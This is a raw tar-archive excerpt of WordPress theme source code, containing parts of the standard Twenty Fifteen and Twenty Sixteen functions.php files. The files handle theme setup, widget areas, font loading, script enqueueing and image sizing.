.post-navigation .nav-previous { background-image: url(' . esc_url( $prevthumb[0] ) . '); }
.post-navigation .nav-previous .post-title, .post-navigation .nav-previous a:hover .post-title, .post-navigation .nav-previous .meta-nav { color: #fff; }
.post-navigation .nav-previous a:before { background-color: rgba(0, 0, 0, 0.4); }
';
}
if ( $next && has_post_thumbnail( $next->ID ) ) {
$nextthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $next->ID ), 'post-thumbnail' );
$css .= '
.post-navigation .nav-next { background-image: url(' . esc_url( $nextthumb[0] ) . '); border-top: 0; }
.post-navigation .nav-next .post-title, .post-navigation .nav-next a:hover .post-title, .post-navigation .nav-next .meta-nav { color: #fff; }
.post-navigation .nav-next a:before { background-color: rgba(0, 0, 0, 0.4); }
';
}
wp_add_inline_style( 'twentyfifteen-style', $css );
}
add_action( 'wp_enqueue_scripts', 'twentyfifteen_post_nav_background' );
/**
* Display descriptions in main navigation.
*
* @since Twenty Fifteen 1.0
*
* @param string $item_output The menu item output.
* @param WP_Post $item Menu item object.
* @param int $depth Depth of the menu.
* @param array $args wp_nav_menu() arguments.
* @return string Menu item with possible description.
*/
function twentyfifteen_nav_description( $item_output, $item, $depth, $args ) {
if ( 'primary' == $args->theme_location && $item->description ) {
$item_output = str_replace( $args->link_after . '</a>', '<div class="menu-item-description">' . $item->description . '</div>' . $args->link_after . '</a>', $item_output );
}
return $item_output;
}
add_filter( 'walker_nav_menu_start_el', 'twentyfifteen_nav_description', 10, 4 );
/**
* Add a `screen-reader-text` class to the search form's submit button.
*
* @since Twenty Fifteen 1.0
*
* @param string $html Search form HTML.
* @return string Modified search form HTML.
*/
function twentyfifteen_search_form_modify( $html ) {
return str_replace( 'class="search-submit"', 'class="search-submit screen-reader-text"', $html );
}
add_filter( 'get_search_form', 'twentyfifteen_search_form_modify' );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Fifteen 1.9
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentyfifteen_widget_tag_cloud_args( $args ) {
$args['largest'] = 22;
$args['smallest'] = 8;
$args['unit'] = 'pt';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentyfifteen_widget_tag_cloud_args' );
/**
* Implement the Custom Header feature.
*
* @since Twenty Fifteen 1.0
*/
require get_template_directory() . '/inc/custom-header.php';
/**
* Custom template tags for this theme.
*
* @since Twenty Fifteen 1.0
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*
* @since Twenty Fifteen 1.0
*/
require get_template_directory() . '/inc/customizer.php';
home/xbodynamge/dev/wp-content/themes/twentysixteen/functions.php 0000604 00000041323 15113403160 0021436 0 ustar 00 <?php
/**
* Twenty Sixteen functions and definitions
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @link https://codex.wordpress.org/Theme_Development
* @link https://codex.wordpress.org/Child_Themes
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API}
*
* @package WordPress
* @subpackage Twenty_Sixteen
* @since Twenty Sixteen 1.0
*/
/**
* Twenty Sixteen only works in WordPress 4.4 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.4-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}
if ( ! function_exists( 'twentysixteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* Create your own twentysixteen_setup() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentysixteen
* If you're building a theme based on Twenty Sixteen, use a find and replace
* to change 'twentysixteen' to the name of your theme in all the template files
*/
load_theme_textdomain( 'twentysixteen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for custom logo.
*
* @since Twenty Sixteen 1.2
*/
add_theme_support( 'custom-logo', array(
'height' => 240,
'width' => 240,
'flex-height' => true,
) );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1200, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus( array(
'primary' => __( 'Primary Menu', 'twentysixteen' ),
'social' => __( 'Social Links Menu', 'twentysixteen' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'status',
'audio',
'chat',
) );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style( array( 'css/editor-style.css', twentysixteen_fonts_url() ) );
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
// Add support for custom color scheme.
add_theme_support( 'editor-color-palette', array(
array(
'name' => __( 'Dark Gray', 'twentysixteen' ),
'slug' => 'dark-gray',
'color' => '#1a1a1a',
),
array(
'name' => __( 'Medium Gray', 'twentysixteen' ),
'slug' => 'medium-gray',
'color' => '#686868',
),
array(
'name' => __( 'Light Gray', 'twentysixteen' ),
'slug' => 'light-gray',
'color' => '#e5e5e5',
),
array(
'name' => __( 'White', 'twentysixteen' ),
'slug' => 'white',
'color' => '#fff',
),
array(
'name' => __( 'Blue Gray', 'twentysixteen' ),
'slug' => 'blue-gray',
'color' => '#4d545c',
),
array(
'name' => __( 'Bright Blue', 'twentysixteen' ),
'slug' => 'bright-blue',
'color' => '#007acc',
),
array(
'name' => __( 'Light Blue', 'twentysixteen' ),
'slug' => 'light-blue',
'color' => '#9adffd',
),
array(
'name' => __( 'Dark Brown', 'twentysixteen' ),
'slug' => 'dark-brown',
'color' => '#402b30',
),
array(
'name' => __( 'Medium Brown', 'twentysixteen' ),
'slug' => 'medium-brown',
'color' => '#774e24',
),
array(
'name' => __( 'Dark Red', 'twentysixteen' ),
'slug' => 'dark-red',
'color' => '#640c1f',
),
array(
'name' => __( 'Bright Red', 'twentysixteen' ),
'slug' => 'bright-red',
'color' => '#ff675f',
),
array(
'name' => __( 'Yellow', 'twentysixteen' ),
'slug' => 'yellow',
'color' => '#ffef8e',
),
) );
// Indicate widget sidebars can use selective refresh in the Customizer.
add_theme_support( 'customize-selective-refresh-widgets' );
}
endif; // twentysixteen_setup
add_action( 'after_setup_theme', 'twentysixteen_setup' );
/**
* Sets the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_content_width() {
$GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );
}
add_action( 'after_setup_theme', 'twentysixteen_content_width', 0 );
/**
* Registers a widget area.
*
* @link https://developer.wordpress.org/reference/functions/register_sidebar/
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_widgets_init() {
register_sidebar( array(
'name' => __( 'Sidebar', 'twentysixteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Content Bottom 1', 'twentysixteen' ),
'id' => 'sidebar-2',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Content Bottom 2', 'twentysixteen' ),
'id' => 'sidebar-3',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'twentysixteen_widgets_init' );
if ( ! function_exists( 'twentysixteen_fonts_url' ) ) :
/**
* Register Google fonts for Twenty Sixteen.
*
* Create your own twentysixteen_fonts_url() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*
* @return string Google fonts URL for the theme.
*/
function twentysixteen_fonts_url() {
$fonts_url = '';
$fonts = array();
$subsets = 'latin,latin-ext';
/* translators: If there are characters in your language that are not supported by Merriweather, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Merriweather font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Merriweather:400,700,900,400italic,700italic,900italic';
}
/* translators: If there are characters in your language that are not supported by Montserrat, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Montserrat font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Montserrat:400,700';
}
/* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Inconsolata:400';
}
if ( $fonts ) {
$fonts_url = add_query_arg( array(
'family' => urlencode( implode( '|', $fonts ) ),
'subset' => urlencode( $subsets ),
), 'https://fonts.googleapis.com/css' );
}
return $fonts_url;
}
endif;
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentysixteen_javascript_detection', 0 );
/**
* Enqueues scripts and styles.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
// Add Genericons, used in the main stylesheet.
wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.4.1' );
// Theme stylesheet.
wp_enqueue_style( 'twentysixteen-style', get_stylesheet_uri() );
// Theme block stylesheet.
wp_enqueue_style( 'twentysixteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentysixteen-style' ), '20181018' );
// Load the Internet Explorer specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie', 'conditional', 'lt IE 10' );
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie8', 'conditional', 'lt IE 9' );
// Load the Internet Explorer 7 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie7', 'conditional', 'lt IE 8' );
// Load the html5 shiv.
wp_enqueue_script( 'twentysixteen-html5', get_template_directory_uri() . '/js/html5.js', array(), '3.7.3' );
wp_script_add_data( 'twentysixteen-html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentysixteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20160816', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && wp_attachment_is_image() ) {
wp_enqueue_script( 'twentysixteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20160816' );
}
wp_enqueue_script( 'twentysixteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20160816', true );
wp_localize_script( 'twentysixteen-script', 'screenReaderText', array(
'expand' => __( 'expand child menu', 'twentysixteen' ),
'collapse' => __( 'collapse child menu', 'twentysixteen' ),
) );
}
add_action( 'wp_enqueue_scripts', 'twentysixteen_scripts' );
/**
* Enqueue styles for the block-based editor.
*
* @since Twenty Sixteen 1.6
*/
function twentysixteen_block_editor_styles() {
// Block styles.
wp_enqueue_style( 'twentysixteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css' );
// Add custom fonts.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
}
add_action( 'enqueue_block_editor_assets', 'twentysixteen_block_editor_styles' );
/**
* Adds custom classes to the array of body classes.
*
* @since Twenty Sixteen 1.0
*
* @param array $classes Classes for the body element.
* @return array (Maybe) filtered body classes.
*/
function twentysixteen_body_classes( $classes ) {
// Adds a class of custom-background-image to sites with a custom background image.
if ( get_background_image() ) {
$classes[] = 'custom-background-image';
}
// Adds a class of group-blog to sites with more than 1 published author.
if ( is_multi_author() ) {
$classes[] = 'group-blog';
}
// Adds a class of no-sidebar to sites without active sidebar.
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
$classes[] = 'no-sidebar';
}
// Adds a class of hfeed to non-singular pages.
if ( ! is_singular() ) {
$classes[] = 'hfeed';
}
return $classes;
}
add_filter( 'body_class', 'twentysixteen_body_classes' );
/**
* Converts a HEX value to RGB.
*
* @since Twenty Sixteen 1.0
*
* @param string $color The original color, in 3- or 6-digit hexadecimal form.
* @return array Array containing RGB (red, green, and blue) values for the given
* HEX code, empty array otherwise.
*/
function twentysixteen_hex2rgb( $color ) {
$color = trim( $color, '#' );
if ( strlen( $color ) === 3 ) {
$r = hexdec( substr( $color, 0, 1 ).substr( $color, 0, 1 ) );
$g = hexdec( substr( $color, 1, 1 ).substr( $color, 1, 1 ) );
$b = hexdec( substr( $color, 2, 1 ).substr( $color, 2, 1 ) );
} else if ( strlen( $color ) === 6 ) {
$r = hexdec( substr( $color, 0, 2 ) );
$g = hexdec( substr( $color, 2, 2 ) );
$b = hexdec( substr( $color, 4, 2 ) );
} else {
return array();
}
return array( 'red' => $r, 'green' => $g, 'blue' => $b );
}
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images
*
* @since Twenty Sixteen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentysixteen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 840 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px';
}
if ( 'page' === get_post_type() ) {
if ( 840 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
} else {
if ( 840 > $width && 600 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px';
} elseif ( 600 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentysixteen_content_image_sizes_attr', 10 , 2 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails
*
* @since Twenty Sixteen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentysixteen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( 'post-thumbnail' === $size ) {
if ( is_active_sidebar( 'sidebar-1' ) ) {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 60vw, (max-width: 1362px) 62vw, 840px';
} else {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 88vw, 1200px';
}
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentysixteen_post_thumbnail_sizes_attr', 10 , 3 );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Sixteen 1.1
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentysixteen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentysixteen_widget_tag_cloud_args' );
home/xbodynamge/www/wp-content/themes/twentysixteen/functions.php 0000604 00000034603 15113403716 0021516 0 ustar 00 <?php
/**
* Twenty Sixteen functions and definitions
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @link https://codex.wordpress.org/Theme_Development
* @link https://codex.wordpress.org/Child_Themes
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API}
*
* @package WordPress
* @subpackage Twenty_Sixteen
* @since Twenty Sixteen 1.0
*/
/**
* Twenty Sixteen only works in WordPress 4.4 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.4-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}
if ( ! function_exists( 'twentysixteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* Create your own twentysixteen_setup() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentysixteen
* If you're building a theme based on Twenty Sixteen, use a find and replace
* to change 'twentysixteen' to the name of your theme in all the template files
*/
load_theme_textdomain( 'twentysixteen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for custom logo.
*
* @since Twenty Sixteen 1.2
*/
add_theme_support( 'custom-logo', array(
'height' => 240,
'width' => 240,
'flex-height' => true,
) );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1200, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus( array(
'primary' => __( 'Primary Menu', 'twentysixteen' ),
'social' => __( 'Social Links Menu', 'twentysixteen' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'status',
'audio',
'chat',
) );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style( array( 'css/editor-style.css', twentysixteen_fonts_url() ) );
// Indicate widget sidebars can use selective refresh in the Customizer.
add_theme_support( 'customize-selective-refresh-widgets' );
}
endif; // twentysixteen_setup
add_action( 'after_setup_theme', 'twentysixteen_setup' );
/**
* Sets the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_content_width() {
$GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );
}
add_action( 'after_setup_theme', 'twentysixteen_content_width', 0 );
/**
* Registers a widget area.
*
* @link https://developer.wordpress.org/reference/functions/register_sidebar/
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_widgets_init() {
register_sidebar( array(
'name' => __( 'Sidebar', 'twentysixteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Content Bottom 1', 'twentysixteen' ),
'id' => 'sidebar-2',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Content Bottom 2', 'twentysixteen' ),
'id' => 'sidebar-3',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'twentysixteen_widgets_init' );
if ( ! function_exists( 'twentysixteen_fonts_url' ) ) :
/**
* Register Google fonts for Twenty Sixteen.
*
* Create your own twentysixteen_fonts_url() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*
* @return string Google fonts URL for the theme.
*/
function twentysixteen_fonts_url() {
$fonts_url = '';
$fonts = array();
$subsets = 'latin,latin-ext';
/* translators: If there are characters in your language that are not supported by Merriweather, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Merriweather font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Merriweather:400,700,900,400italic,700italic,900italic';
}
/* translators: If there are characters in your language that are not supported by Montserrat, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Montserrat font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Montserrat:400,700';
}
/* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Inconsolata:400';
}
if ( $fonts ) {
$fonts_url = add_query_arg( array(
'family' => urlencode( implode( '|', $fonts ) ),
'subset' => urlencode( $subsets ),
), 'https://fonts.googleapis.com/css' );
}
return $fonts_url;
}
endif;
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentysixteen_javascript_detection', 0 );
/**
* Enqueues scripts and styles.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
// Add Genericons, used in the main stylesheet.
wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.4.1' );
// Theme stylesheet.
wp_enqueue_style( 'twentysixteen-style', get_stylesheet_uri() );
// Load the Internet Explorer specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie', 'conditional', 'lt IE 10' );
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie8', 'conditional', 'lt IE 9' );
// Load the Internet Explorer 7 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie7', 'conditional', 'lt IE 8' );
// Load the html5 shiv.
wp_enqueue_script( 'twentysixteen-html5', get_template_directory_uri() . '/js/html5.js', array(), '3.7.3' );
wp_script_add_data( 'twentysixteen-html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentysixteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20160816', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && wp_attachment_is_image() ) {
wp_enqueue_script( 'twentysixteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20160816' );
}
wp_enqueue_script( 'twentysixteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20160816', true );
wp_localize_script( 'twentysixteen-script', 'screenReaderText', array(
'expand' => __( 'expand child menu', 'twentysixteen' ),
'collapse' => __( 'collapse child menu', 'twentysixteen' ),
) );
}
add_action( 'wp_enqueue_scripts', 'twentysixteen_scripts' );
/**
* Adds custom classes to the array of body classes.
*
* @since Twenty Sixteen 1.0
*
* @param array $classes Classes for the body element.
* @return array (Maybe) filtered body classes.
*/
function twentysixteen_body_classes( $classes ) {
// Adds a class of custom-background-image to sites with a custom background image.
if ( get_background_image() ) {
$classes[] = 'custom-background-image';
}
// Adds a class of group-blog to sites with more than 1 published author.
if ( is_multi_author() ) {
$classes[] = 'group-blog';
}
// Adds a class of no-sidebar to sites without active sidebar.
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
$classes[] = 'no-sidebar';
}
// Adds a class of hfeed to non-singular pages.
if ( ! is_singular() ) {
$classes[] = 'hfeed';
}
return $classes;
}
add_filter( 'body_class', 'twentysixteen_body_classes' );
/**
* Converts a HEX value to RGB.
*
* @since Twenty Sixteen 1.0
*
* @param string $color The original color, in 3- or 6-digit hexadecimal form.
* @return array Array containing RGB (red, green, and blue) values for the given
* HEX code, empty array otherwise.
*/
function twentysixteen_hex2rgb( $color ) {
$color = trim( $color, '#' );
if ( strlen( $color ) === 3 ) {
$r = hexdec( substr( $color, 0, 1 ).substr( $color, 0, 1 ) );
$g = hexdec( substr( $color, 1, 1 ).substr( $color, 1, 1 ) );
$b = hexdec( substr( $color, 2, 1 ).substr( $color, 2, 1 ) );
} else if ( strlen( $color ) === 6 ) {
$r = hexdec( substr( $color, 0, 2 ) );
$g = hexdec( substr( $color, 2, 2 ) );
$b = hexdec( substr( $color, 4, 2 ) );
} else {
return array();
}
return array( 'red' => $r, 'green' => $g, 'blue' => $b );
}
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images
*
* @since Twenty Sixteen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentysixteen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 840 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px';
}
if ( 'page' === get_post_type() ) {
if ( 840 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
} else {
if ( 840 > $width && 600 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px';
} elseif ( 600 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentysixteen_content_image_sizes_attr', 10 , 2 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails
*
* @since Twenty Sixteen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentysixteen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( 'post-thumbnail' === $size ) {
if ( is_active_sidebar( 'sidebar-1' ) ) {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 60vw, (max-width: 1362px) 62vw, 840px';
} else {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 88vw, 1200px';
}
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentysixteen_post_thumbnail_sizes_attr', 10 , 3 );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Sixteen 1.1
*
* @param array $args Arguments for tag cloud widget.
